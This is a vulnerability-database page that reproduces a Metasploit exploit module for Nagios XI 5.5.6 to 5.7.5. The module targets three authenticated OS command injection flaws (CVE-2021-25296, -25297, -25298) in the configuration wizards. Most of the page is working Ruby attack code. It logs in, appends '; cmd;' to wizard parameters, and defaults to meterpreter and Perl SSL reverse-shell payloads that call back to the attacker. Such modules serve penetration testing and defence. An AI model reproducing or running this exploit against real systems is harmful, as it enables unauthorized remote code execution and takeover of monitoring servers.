Lucene search
K

Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection

🗓️ 08 Feb 2023 19:51:10Reported by Matthew MathurType 
metasploit
 metasploit
🔗 www.rapid7.com👁 556 Views

Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Execution module exploits OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm configuration wizards, allowing authenticated users to perform remote code execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',
        'Description' => %q{
          This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are
          OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm
          configuration wizards that allow an authenticated user to perform remote code
          execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.

          Valid credentials for a Nagios XI user are required. This module has
          been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matthew Mathur'
        ],
        'References' => [
          ['CVE', '2021-25296'],
          ['CVE', '2021-25297'],
          ['CVE', '2021-25298'],
          ['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']
        ],
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => [ ARCH_X86 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux (x64)', {
              'Arch' => [ ARCH_X64 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'CMD', {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'unix',
              # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 2,
        'DisclosureDate' => '2021-02-13',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def finish_install
    datastore['FINISH_INSTALL']
  end

  def check
    # Authenticate to ensure we can access the NagiosXI version
    auth_result, err_msg, @auth_cookies, @version, @nsp = authenticate(username, password, finish_install, true, true, true)
    case auth_result
    when AUTH_RESULTS[:connection_failed]
      return CheckCode::Unknown(err_msg)
    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
      return CheckCode::Detected(err_msg)
    when AUTH_RESULTS[:not_nagios_application]
      return CheckCode::Safe(err_msg)
    end

    if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')
      return CheckCode::Appears("Version #{@version} appears to be vulnerable")
    end

    return CheckCode::Safe("Version #{@version} is not vulnerable")
  end

  def execute_command(cmd, _opts = {})
    if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check
      auth_result, err_msg, @auth_cookies, @version, @nsp = authenticate(username, password, finish_install, true, true, true)
      case auth_result
      when AUTH_RESULTS[:connection_failed]
        return CheckCode::Unknown(err_msg)
      when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
        return CheckCode::Detected(err_msg)
      when AUTH_RESULTS[:not_nagios_application]
        return CheckCode::Safe(err_msg)
      end
    end

    # execute payload based on the selected targeted configuration wizard
    url_params = {
      'update' => 1,
      'nsp' => @nsp
    }
    # After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298
    # changes from address to ip_address
    if @version <= Rex::Version.new('5.5.7')
      address_param = 'address'
    else
      address_param = 'ip_address'
    end

    # CVE-2021-25296 affects the windowswmi configuration wizard.
    if datastore['TARGET_CVE'] == 'CVE-2021-25296'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'windowswmi',
        'ip_address' => Array.new(4) { rand(256) }.join('.'),
        'domain' => Rex::Text.rand_text_alphanumeric(7..15),
        'username' => Rex::Text.rand_text_alphanumeric(7..20),
        'password' => Rex::Text.rand_text_alphanumeric(7..20),
        'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"
      })
    # CVE-2021-25297 affects the switch configuration wizard.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'switch',
        address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",
        'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),
        'scaninterfaces' => 'on'
      })
    # CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by
    # specifying the digitalocean option for the wizard parameter.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'
      url_params = url_params.merge({
        address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",
        'nextstep' => 4,
        'wizard' => 'digitalocean'
      })
    else
      fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')
    end

    print_status('Sending the payload...')
    # Send the final request. Note that the target is not expected to respond if we get
    # code execution. Therefore, we set the timeout on this request to 0.
    send_request_cgi({
      'method' => 'GET',
      'uri' => '/nagiosxi/config/monitoringwizard.php',
      'cookie' => @auth_cookies,
      'vars_get' => url_params
    })
  end

  def exploit
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation